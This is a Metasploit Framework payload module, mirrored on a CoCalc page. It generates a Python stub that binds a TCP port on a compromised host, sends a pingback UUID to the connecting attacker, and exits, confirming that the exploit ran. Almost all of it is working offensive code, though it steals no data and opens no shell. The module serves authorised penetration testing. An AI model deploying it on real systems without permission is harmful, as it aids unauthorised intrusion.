CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/python/pingback_bind_tcp.rb
Views: 11766
1
2
module MetasploitModule
3
4
CachedSize = :dynamic
5
6
include Msf::Payload::Single
7
include Msf::Payload::Python
8
include Msf::Payload::Pingback
9
include Msf::Payload::Pingback::Options
10
11
def initialize(info = {})
12
super(merge_info(info,
13
'Name' => 'Python Pingback, Bind TCP (via python)',
14
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
15
'Author' => 'asoto-r7',
16
'License' => MSF_LICENSE,
17
'Platform' => 'python',
18
'Arch' => ARCH_PYTHON,
19
'Handler' => Msf::Handler::BindTcp,
20
'Session' => Msf::Sessions::Pingback,
21
'PayloadType' => 'python'
22
))
23
end
24
25
def generate(_opts = {})
26
super.to_s + command_string
27
end
28
def command_string
29
self.pingback_uuid ||= self.generate_pingback_uuid
30
cmd = <<~PYTHON
31
import binascii as b
32
import socket as s
33
o=s.socket(s.AF_INET,s.SOCK_STREAM)
34
try:
35
o.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
36
o.bind(('0.0.0.0', #{ datastore['LPORT']}))
37
o.listen(1)
38
o,addr=o.accept()
39
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
40
o.close()
41
except:
42
pass
43
PYTHON
44
45
py_create_exec_stub(cmd)
46
end
47
end
48
49